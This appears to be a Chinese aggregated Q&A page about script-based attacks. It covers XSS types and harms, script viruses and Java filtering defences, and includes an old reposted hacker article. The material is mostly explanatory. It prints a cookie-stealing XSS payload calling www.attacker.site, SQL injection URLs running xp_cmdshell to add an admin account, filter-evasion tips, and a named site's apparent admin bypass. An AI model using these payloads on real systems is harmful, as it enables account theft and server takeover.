当前位置:首页 » 网页前端 » 脚本引起的攻击行为
扩展阅读
webinf下怎么引入js 2023-08-31 21:54:13
堡垒机怎么打开web 2023-08-31 21:54:11

脚本引起的攻击行为

发布时间: 2022-05-22 23:03:47

① 跨站脚本攻击的危害

为了搜集用户信息,攻击者通常会在有漏洞的程序中插入 JavaScript、VBScript、 ActiveX或Flash以欺骗用户(详见下文)。一旦得手,他们可以盗取用户帐户,修改用户设置,盗取/污染cookie,做虚假广告等。每天都有大量的XSS攻击的恶意代码出现。 Brett Moore的下面这篇文章详细地阐述了“拒绝服务攻击”以及用户仅仅阅读一篇文章就会受到的“自动攻击”。 1.HTML注入。所有HTML注入范例只是注入一个JavaScript弹出式的警告框:alert(1)。
2.做坏事。如果您觉得警告框还不够刺激,当受害者点击了一个被注入了HTML代码的页面链接时攻击者能作的各种的恶意事情。
3.诱捕受害者。 “微博病毒”攻击事件
回顾:
2011年6月28日晚,新浪微博出现了一次比较大的XSS攻击事件。大量用户自动发送诸如:“郭美美事件的一些未注意到的细节”,“建党大业中穿帮的地方”,“让女人心动的100句诗歌”,“3D肉团团高清普通话版种子”,“这是传说中的神仙眷侣啊”,“惊爆!范冰冰艳照真流出了”等等微博和私信,并自动关注一位名为hellosamy的用户。
事件的经过线索如下:
20:14,开始有大量带V的认证用户中招转发蠕虫
20:30,某网站中的病毒页面无法访问
20:32,新浪微博中hellosamy用户无法访问
21:02,新浪漏洞修补完毕 随着AJAX(Asynchronous JavaScript and XML,异步JavaScript和XML)技术的普遍应用,XSS的攻击危害将被放大。使用AJAX的最大优点,就是可以不用更新整个页面来维护数据,Web应用可以更迅速地响应用户请求。AJAX会处理来自Web服务器及源自第三方的丰富信息,这对XSS攻击提供了良好的机会。AJAX应用架构会泄漏更多应用的细节,如函数和变量名称、函数参数及返回类型、数据类型及有效范围等。AJAX应用架构还有着较传统架构更多的应用输入,这就增加了可被攻击的点。

② 什么叫脚本病毒又何危害

脚本病毒

这类病毒编写最为简单,但造成的危害非常大。我们常见的浏览了xx站点就被改了主页,在收藏夹里被添加上很多无谓的东西,就是拜这类病毒所赐。

病毒描述:这类病毒的本质是利用脚本解释器的检查漏洞和用户权限设置不当进行感染传播;病毒本身是ascii码或者加密的ascii码,通过特定的脚本解释器执行产生规定行为,因其行为对计算机用户造成伤害,因此被定性为恶意程序。最常见的行为就是修改用户主页,搜索页,修改用户收藏夹,在每个文件夹下放置自动执行文件拖慢系统速度等;比较出名的如美利莎邮件病毒、新欢乐时光病毒、office的宏病毒等都属于这类。

病毒浅析:为了完成一些自动化的任务,需要用程序方式来实现。但复杂的程序编写又不是非程序人员能够胜任的。为了提高工作效率,方便用户操作,加强系统特性,于是许多软件/操作系统都预留了接口给用户,用简单的方法编写一些完成一定功能的小程序。程序本身是ascii码的,不编译,直接解释执行,在调试/修改使用上相当简便,虽然牺牲一定效率,但是换来了易用性。这本是一个良好的愿望,但太多的时候,这没有起到积极的作用,反而为脚本病毒编写者提供了良机。

以web病毒为例,由于用户缺乏安全意识用错误的权限登陆,导致ie中的解释器使用wsh可以操作硬盘上的文件和注册表,而javascript和vbscript调用wsh是很容易的事情——于是恶意脚本的作者只需要让你访问该页面,就能在你本地写上一些恶意的脚本,在注册表里修改你的主页/搜索项了。而利用ie的activex检查漏洞,则可以在不提示地情况下从网络上下载文件并自动执行——这就成了木马攻击的前奏曲;利用mime头漏洞,则可以用一个以jpg结尾的url中,指向一个事实上的web页,然后在web页中内嵌图片+恶意代码的方式迷惑计算机用户;利用outlook自动读去eml的特性和mime头检查不严格来执行恶意2进制代码;利用本地硬盘上有执行autorun.inf的特性(这功能本来是光驱用的,我们的光盘之所以放进去就能自动读出程序,就是光盘上有个名为autorun.inf文件起的作用,它是个文本文件,各位可以看看)把一些需要加载的程序写到该文件下导致每次访问该分区的时候就会自动运行;利用windows下会优先读取folder.htt和desktop.ini的特性,将恶意代码写入其中,导致访问任何一个文件夹的时候都会启动该病毒,再配合上锁定注册表的功能,杀除起来异常麻烦——不复杂,但是相当烦琐,一不留意没杀干净一处,又导致死灰复燃,前功尽弃。

病毒自查:上面有提到,这类病毒一般以捣乱居多,所以特别容易发现。而其另一个作用是作为木马进驻系统的先遣部队,利用浏览器漏洞等达到下载木马文件到本地硬盘,并修改启动项,达到下次启机运行的目的。因此一旦发现木马的同时,也可以检查一下是不是有些可疑的脚本文件。

病毒查杀:这类病毒一般来说由于其编写灵活,源代码公开,所以衍生版本格外地多;杀毒软件/木马杀除软件对待这类病毒大多没用。而由于脚本病毒(除宏病毒外)大多是独立文件,只要将这些文件查找出来删除掉就行了。不过这里值得留意的是,利用微软的浏览器的漏洞,在点击选择某些文件的同时就自动执行了,甚至打开浏览器的同时脚本病毒就开始驻留感染——这样是无法杀除干净的。

正确的做法是使用其他第三方的资源浏览器,例如Total Command就是一个非常不错的选择。查杀大致过程如下:首先,在资源浏览器——工具——文件夹选项中,将“使用Windows传统风格的桌面”取消掉,在桌面上点右键,点“属性”——“桌面设置”,将使用活动桌面取消,接着查杀可疑对象;常见查杀对象:各个根分区下的autorun.inf,各个目录下的desktop.ini和folder.htt(有几个是系统自带的,不过删除了也无关系的),这一步最好采用第三方的资源浏览器,例如前面介绍的Total Command来完成。在这一步,最忌讳查杀不净,即使有一个病毒遗漏,很快就又遍布各个文件夹内了。关于邮件病毒的杀除使用专杀工具就行了。

病毒残留:纯粹脚本病毒在杀除后不会有任何残留,但由于目前的病毒大都采用复合形态,捆绑多种传染方式和多种特性,因此不少脚本病毒只是将用户机器的安全防线撕开的前奏——真正的破坏主力木马、蠕虫尾随其后进入系统,因此在杀除掉脚本病毒后,非常有必要连带着检查系统中是否已经有了木马和蠕虫病毒。

病毒防御:脚本病毒的特性之一就是被动触发——因此防御脚本病毒最好的方法是不访问带毒的文件/web网页,在网络时代,脚本病毒更以欺骗的方式引诱人运行居多。由于ie本身存在多个漏洞,特别是执行activex的功能存在相当大的弊端,最近爆出的重大漏洞都和它有关,包括mozilla的windows版本也未能幸免。因此个人推荐使用myie2软件代替ie作为默认浏览器,因为myie2中有个方便的功能是启用/禁用web页面的activex控件,在默认的时候,可以将页面中的activex控件全部禁用,待访问在线电影类等情况下根据自己的需要再启用。关于邮件病毒,大多以eml作为文件后缀的,如果您单机有用outlook取信的习惯,最好准备一个能检测邮件病毒的杀毒软件并及时升级。如果非必要,将word等office软件中的宏选项设置为禁用。脚本病毒是目前网络上最为常见的一类病毒,它编写容易,源代码公开,修改起来相当容易和方便,而且往往给用户造成的巨大危害。

以上4类程序的介绍,为了降低学习难度,我是单态方式来介绍的。事实上目前的病毒大多以具有上面4类程序中的2到3类的特征,因此无论感染,传播,杀除的困难都大大增加。例如发文前夕的mydoom新变种病毒的分析中:它利用系统漏洞/邮件群发/共享漏洞方式传播(具备了蠕虫、脚本病毒和新型病毒的传播特性),进驻用户系统后上载自身并运行(木马特性),获取用户本地outlook中的地址本(木马特性),通过调用google等搜索引擎获取用户email地址本中同后缀的相关选项(调用系统程序,木马功能),再主动给地址本中的每个程序发出email(木马特性)。对待这样一个病毒,无论是系统存在漏洞、共享安全设置不当、或者随意地打开了“朋友”发来的email,都可能导致中毒。关于中毒途径的分析,留待下一站《攻击防御之旅》内一并介绍。

在从第一个病毒出现到现在,已经有整整半个世纪了,病毒的发展日新月异,令查杀的困难大大增加,造成的损失也异常巨大。或许,计算机病毒这个幽灵,从计算机诞生的那一刻起就注定要如影相随的。只要还有用心险恶的人存在,那么病毒就不会消亡。病毒之战,恐怕会在今后的日子里越演越烈……

③ 脚本插入web应用的url 可造成哪些攻击

有时候程序员为了偷懒或者是在无意识的情况下缺少了对外部数据的过滤,Web安全习惯上将所有用户输入的数据假定为受污染的数据(即可能带有攻击性的数据),现在比较流行的XSS(跨站脚本攻击)就是利用对用户输入过滤不完全而进行的攻击

④ 跨站脚本攻击有哪些类型

1、持久型跨站:最直接的危害类型,跨站代码存储在服务器(数据库)。

2、非持久型跨站:反射型跨站脚本漏洞,最普遍的类型。用户访问服务器-跨站链接-返回跨站代码。

3、DOM跨站(DOM XSS):DOM(document object model文档对象模型),客户端脚本处理逻辑导致的安全问题。

(4)脚本引起的攻击行为扩展阅读:

跨站脚本攻击产生的原因是网站过于相信用户的输入,那么解决的办法也很直接,就是从根本上不相信用户的任何输入。一个安全的网站应当对任何用户的任何输入都要进行检查,特别是对用户提交到服务器中保存的数据,更要做筛选。

这种攻击与反射型攻击不同的是,它会把自己的攻击代码保存在网站的服务器上,这样,任何访问了这个页面的用户,都会受到这个攻击。

⑤ 【web安全】xss跨站脚本攻击有哪些

xss攻击可以分成两种类型:
1.非持久型攻击
2.持久型攻击
非持久型xss攻击:顾名思义,非持久型xss攻击是一次性的,仅对当次的页面访问产生影响。非持久型xss攻击要求用户访问一个被攻击者篡改后的链接,用户访问该链接时,被植入的攻击脚本被用户游览器执行,从而达到攻击目的。
持久型xss攻击:持久型xss,会把攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在。
也可以分成三类:
反射型:经过后端,不经过数据库
存储型:经过后端,经过数据库
DOM:不经过后端,DOM—based XSS漏洞是基于文档对象模型Document Objeet Model,DOM)的一种漏洞,dom - xss是通过url传入参数去控制触发的。

⑥ 如何防止跨站点脚本攻击

防止跨站点脚本攻击的解决方法:

1.输入过滤

对每一个用户的输入或者请求首部,都要进行过滤。这需要程序员有良好的安全素养,而且需要覆盖到所有的输入源。而且还不能够阻止其他的一些问题,如错误页等。
final String filterPattern="[<>{}\\[\\];\\&]";
String inputStr = s.replaceAll(filterPattern," ");

2.输出过滤

public static String encode(String data)
{
final StringBuffer buf = new StringBuffer();
final char[] chars = data.toCharArray();
for (int i = 0; i < chars.length; i++)
{
buf.append("&#" + (int) chars[i]);
}
return buf.toString();
}
public static String decodeHex(final String data,
final String charEncoding)
{
if (data == null)
{
return null;
}
byte[] inBytes = null;
try
{
inBytes = data.getBytes(charEncoding);
}
catch (UnsupportedEncodingException e)
{
//use default charset
inBytes = data.getBytes();
}

byte[] outBytes = new byte[inBytes.length];
int b1;
int b2;
int j=0;
for (int i = 0; i < inBytes.length; i++)
{
if (inBytes[i] == '%')
{
b1 = Character.digit((char) inBytes[++i], 16);
b2 = Character.digit((char) inBytes[++i], 16);
outBytes[j++] = (byte) (((b1 & 0xf) << 4) +
(b2 & 0xf));
}
else
{
outBytes[j++] = inBytes[i];
}
}

String encodedStr = null;
try
{
encodedStr = new String(outBytes, 0, j, charEncoding);
}
catch (UnsupportedEncodingException e)
{
encodedStr = new String(outBytes, 0, j);
}
return encodedStr;
}
<!-- Maps the 404 Not Found response code
to the error page /errPage404 -->

<error-page>
<error-code>404</error-code>
<location>/errPage404</location>
</error-page>

<!-- Maps any thrown ServletExceptions
to the error page /errPageServ -->
<error-page>
<exception-type>javax.servlet.ServletException</exception-type>
<location>/errPageServ</location>
</error-page>

<!-- Maps any other thrown exceptions
to a generic error page /errPageGeneric -->
<error-page>
<exception-type>java.lang.Throwable</exception-type>
<location>/errPageGeneric</location>
</error-page>
任何的非servlet例外都被/errPageGeneric路径捕捉,这样就可以处理。
Throwable throwable = (Throwable)
request.getAttribute("javax.servlet.error.exception");
String status_code = ((Integer)
request.getAttribute("javax.servlet.error.status_code")).toString( );

3.安装三方的应用防火墙,可以拦截css攻击。

附:

跨站脚本不像其他攻击只包含两个部分:攻击者和web站点。
跨站脚本包含三个部分:攻击者,客户和web站点。
跨站脚本攻击的目的是窃取客户的cookies,或者其他可以证明用户身份的敏感信息。

攻击
一个get请求
GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0
Host:
www.vulnerable.site
会产生如下的结果
<HTML>
<Title>Welcome!</Title>
Hi Joe Hacker
<BR>
Welcome to our system
...
</HTML>
但是如果请求被篡改
GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0
Host: www.vulnerable.site
就会得到如下的响应
<HTML>
<Title>Welcome!</Title>
Hi <script>alert(document.cookie)</script>
<BR>
Welcome to our system
...
</HTML>
这样在客户端会有一段非法的脚本执行,这不具有破坏作用,但是如下的脚本就很危险了。
http://www.vulnerable.site/welcome.cgi?name=<script>window.open(“http://www.attacker.site/collect.cgi?cookie=”%2Bdocument.cookie)</script>
响应如下:
<HTML>
<Title>Welcome!</Title>
Hi
<script>window.open(“http://www.attacker.site/collect.cgi?cookie=”+document.cookie)</script>
<BR>
Welcome to our system
...
</HTML>
浏览器回执行该脚本并将客户的cookie发到一个攻击者的网站,这样攻击者就得到了客户的cookie。

⑦ 什么是脚本攻击

最近脚本攻击好象是很流行的,不过早在很久前就有这个了!脚本攻击严格的说应该是一件艺术而不是漏洞!首先我们先要知道什么是脚本,脚本就是运行在网页服务器上的文本程序,例如:ASP、PHP、CGI、JSP、ISAP等等,脚本的攻击就是利用这些文件的设置和编写时的错误或者疏忽不当,攻击者就可以利用这些来达到自己攻击目的,如果一个服务器存在这些漏洞,那么它的沦陷也是时间的问题!
这些文本文件一般都是要结合数据库来使用的,这些数据库有ACCESS、MSsql、MYSQL、Oracle等!脚本攻击就是针对这些数据库来配合脚本对一些变量的过滤不严的问题来达到得到用户密码等敏感信息,修改数据库等目的!下面我就针对这些来分别举例说明!
一、跨站脚本的攻击
脚本的跨站(CSS/XSS)就是利用程序对用户提交的变量不严,大多数是利用多媒体标签,前段时间比较流行的flash跨站就是利用的这个,比如我在[FLASH=450,350][/FLASH]之间插入一个我自己作好的一个swf文件,swf文件里我们用geturl里加上javascript:window.open('http://qfaq.yeah.net'就可以让他打开清风安全网的网站,如果这里是一个木马网页,呵呵,,,你就等着中木马吧!还有就是窃取用户的cookie,例如我们利用也就是图片的跨站,在这个里面插入
这段地址即可得到!如果将javascript过滤掉后怎么办?
好,我们在看看下面这段代码:
[upload=swf]uploadImages/200310812145390577.swf?">[/upload]
怎么样,还是能将你的信息得到的,而且还不会弹出对话框!
另外在joekoe论坛程序里还有一个这样的问题,比如你发个帖子里有[DIR][/DIR]就会弹出一个播放器的安装程序,呵呵,如果是一个黑心的站长利用这个来放马,那后果就不用说了吧!
解决办法:现在还没有好的方法解决这个问题,你要做的就是将多媒体的标签删掉!
另附ASP和PHP的跨站代码
php如下
$info = getenv("QUERY_STRING";
if ($info) {
$fp = fopen("test.txt","a";
fwrite($fp,$info."n";
fclose($fp);
}
?>

asp如下

二、sql injection
是现在最热门的,也是本文要重点说的!
1、ASP+ACCESS数据库类型的SQL注射
现在的大多数网站是采用的这个组合,但是如果在ASP程序中没有对用户提交的变量充分过滤的话就可能导致管理员密码被猜到,整个网站的信息就会暴漏无移~!
在大多数ASP站点中,我们并不知道其程序代码,靠任何扫描器也不可能发现SQL injection漏洞,这时就要靠手工检测了,由于我们执行SQL语句要用到单引号、分号、逗号、冒号和“--”,所以我们就在可修改的URL后加上以上符号,或在表单中的文本框加上这些符号!比如比较经典的金梅系统漏洞,在movie.aps中有怎么一段代码:
articleid=request("id"
set rs=server.createobject("adodb.recordset"
sql="update learning set hits=hits+1 where articleID="&articleid

--------------------------------------------------------------------------------

2 [转帖]脚本安全和利用
rs.open sql,conn,1,3
sql="select * from learning where articleid="&articleid
rs.open sql,conn,1,1

articleid未经任何检查便提交了,所以我们就可以自己构造一些SQL语句来提交上去!具体的利用过程请看拙作《SQL注入完整篇》和《SQL注入的补充》的动画教程,这里我就不在重复的说了!
2、ASP+MYSQL数据库类型的利用
MYSQL数据库简单使用和强大的功能一直以来都是网管们的最爱!但是如果是ASP中没有对变量过滤的话,我们就可以来直接的到他的系统管理员权限!
比如动网论坛、BBSXP论坛的SQL版有好几个文件都没有对ID过滤,所以我们只要找到他的存在问题的页面就可以了,
看这段代码:rs.open "select * from news where newsid=" & cstr(request("newsid"),conn,1,1
比如我们提交:
http://XXX/show.asp?id=1;exec master.dbo.xp_cmdshell 'net user xuehan ilovexuehan /add';--
http://XXX/show.asp?id=1;exec master.dbo.xp_cmdshell 'net localgroup administrators xuehan /add';--
看到了吗?我们已经在系统中田加了一个xuehan 密码是ilovexuehan的管理员帐号,以下的事情你就自己来做吧,呵呵,,,不用我来教了吧!!!
如果过滤了分号和单引号怎么办?呵呵,我们只要将我们的命令形式转换一下,比如我们转换成十六进制或者别的形式就可以继续注入了,还有就是他如果过滤了xp_cmdshell 我们也可以解决,我们可以写成xp'+'_cmd'+'shell形式,如果他将xp_cmdshell 扩展删掉,我们可以通过xplog70.dll文件来恢复,呵呵,,,具体自己查找下数据库的知识,当然我们也可以用别的扩展!所以说SQL injection不仅仅是一门技术,更要有灵活的头脑和扎实的数据库知识,特别是对SQL语言的掌握程度,如果不会SQL语言,你永远都是生搬硬套,遇到障碍就过不去了!
3、PHP+MYSQL数据库类型
PHP+MYSQL一直以来都认为是最安全的组合,不过一些文件没有过滤单引号、反斜线等,我们也可以来进行注入,不过在最新的php安装程序里的php.ini文件默认都是对这些过滤掉的,所以很大情况下我们是无法对进行注入的,不过也有许多牛人们可以饶过这个限制的!由于我的PHP和MYSQL不是太懂,所以就不能来具体举例来说明了,大家要是有兴趣可以去找写资料来看!!!
需要从根本上解决解决SQL Injection问题。还得从程序本身入手。过滤不能单纯的过滤URL所提交的参数,在表单里的也要过滤,value=后面的可以修改的数据,修改后可以提交到服务器,总之对所有的表单提交的数据以及用户可能对HTML源文件进行修改来控制的所有来自Web服务器外部的数据进行过滤或转换,对单引号、双引号、分号“--”还有对数字键上面的所有特殊字符进行过滤,还有QUERY_STRING环境变量。在服务器上删除一些危险的扩展存储过程,比如xp_cmdshell。有条件装个IDS更好,不敢说无坚不摧,但至少可以阻挡大部分攻击者。
三、一些别的脚本攻击
有些程序没有对cookie或者session进行过滤和检查,就造成了用户可以非法修改提交页面,自己提交修改数据,比如像海阳顶端网木马的以前版本对session没有过滤,我们就可以饶过密码的验证来到达真正的页面,还有就是post提交的问题,像leadbbs的2.77版本就是没有充分的过滤,我们就可以把管理员的密码修改成自己的密码!
还有一个脚本的攻击例子,在Discuz! 2.0 论坛里,因为个人属性缺乏必要的安全确认,所以很容易诱使其他会员自动修改其个人属性内容,特别是注册邮件信息,这关系着登陆密码的修改。
比如我们发个帖子,写上

诱使会员点击这个页面后,就会自动修改该会员注册的email地址为crack.x.h2163.com。当然为了隐蔽性,可以更新后自动关闭,然后调用另外一个假地址。
当然我们也可以利用这个漏洞进行欺骗、隐藏来诱惑管理员来修改我们为管理员等等!大家自己去学习吧!
看了这么多枯燥的东西下面我们再来看看另外一个好玩的漏洞,在百渡里搜索”传奇留言薄“找几个免费的留言本进去,找到他的登陆页面,我找到的一个是:
http://www.conanshome.com/guestbook/login.asp
我们再来看看下面这个连接:
http://www.conanshome.com/guestbook/admin.asp?adminid=admin
哈,怎么我们就闯入后台了!!!
什么原因,自己去琢磨吧!
后记:脚本的攻击可以说是防不胜防的,我们所要做的只能是提高编写程序的严谨态度,人为的因素在脚本攻击中是最重要的!
声明:本文提到的漏洞都有一定的攻击性,我们的目的是探讨技术,搞破坏的是小人!所造成的一切后果于作者无关!由于作者水平有限,文中难免有错误之处,欢迎指出!

⑧ 跨站脚本攻击是什么意思

XSS,跨站脚本攻击,Cross-Site
Scripting,为了和前端的CSS避免重名,简称为XSS,是指通过技术手段,向正常用户请求的HTML页面中插入恶意脚本,执行。
这种攻击主要是用于信息窃取和破坏等目的。在防范XSS上,主要就是通过对用户输入的数据做过滤或者或者转义,可以使用框架提供的工具类HTML
Util,另外前端在浏览器展示数据的时候,要使用安全的API展示数据。比如使用inner text而不是inner HTML。